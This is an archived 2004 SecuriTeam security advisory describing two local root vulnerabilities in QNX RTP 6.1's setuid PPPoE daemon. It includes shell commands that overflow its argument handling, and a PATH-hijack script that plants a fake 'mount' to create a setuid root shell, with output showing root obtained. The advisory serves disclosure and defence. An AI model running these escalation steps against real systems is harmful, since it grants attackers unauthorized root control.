Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] QNX PPPoEd Local Root Vulnerabilities

Subject: [UNIX] QNX PPPoEd Local Root Vulnerabilities
Date: 6 Sep 2004 11:44:03 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  QNX PPPoEd Local Root Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 
<http://www.qnx.com/developers/docs/momentics621_docs/neutrino/utilities/p/pppoed.html>
 PPPoEd daemon is used to provide a PPPoE connection, such as DSL, for QNX 
users.

Two vulnerabilities that can lead to root compromise have been found in 
QNX's PPPoE daemon.

DETAILS

Vulnerable Systems:
 * QNX RTP version 6.1

The PPPoE daemon, when launched, can receive command line arguments. It 
seems that there is hardly any bounds checking present when processing 
arguments. Once it is by default suid owned by root, an attacker can 
execute arbitrary instructions to elevate privileges. An example follows:
$ export overflow256='AAAAAAAAAAAAAAA(...)' (around 256 A's)
$ /usr/bin/pppoed -F $overflow256
Memory fault (core dumped)
$ /usr/bin/pppoed service=$overflow256
Memory fault (core dumped)
..

The same vulnerability also occurs when processing the following 
arguments: 'name', 'en', 'upscript', 'downscript', 'retries', 'timeout', 
'scriptdetach', 'noscript', 'nodetach', 'remote_mac' and 'local_mac'.


The second issue with PPPoEd is that it is possible to execute commands by 
tricking PPPoEd. This can be done by altering the $PATH environment 
variable since PPPoEd does not mount with a proper absolute path. It 
attempts to execute 'mount -T io-net npm-pppoe.so'. When altering $PATH, 
'/usr/sbin/pppoed' will simply execute 'mount' (hostile code) looking for 
it at the /tmp directory. An example is in order:
$ cd /tmp
$ cat  mount
#!/bin/sh
cp /bin/sh /tmp/rootshell
chown root /tmp/rootshell
chmod 4777 /tmp/rootshell
echo "Here comes your root shell"
_EOF_

And actually running PPPoE:
$ chmod 755 mount
$ export PATH=/tmp:$PATH
$ /usr/sbin/pppoed
$ ls -la /tmp
-rwxr-xr-x    1 sandimas users          88 Aug  25 2004 mount
-rwsrwxrwx    1 root     100        153384 Jun  22 2001 /tmp/rootshell
$ /tmp/rootshell
Here comes your root shell
# uname -a
QNX sandimas 6.1.0 2001/06/25-15:31:48 edt x86pc x86
#

Disclosure Timeline
27 Aug 2004           Vulnerabilities detected;
28 Aug - 01 Sep      Looking for QNX security staff contact e-mail: no 
success;
02 Sep 2004           Advisory written and sent to security mail-lists.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:julio@rfdslabs.br> Julio 
Cesar Fort.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] QNX PPPoEd Local Root Vulnerabilities, SecuriTeam <=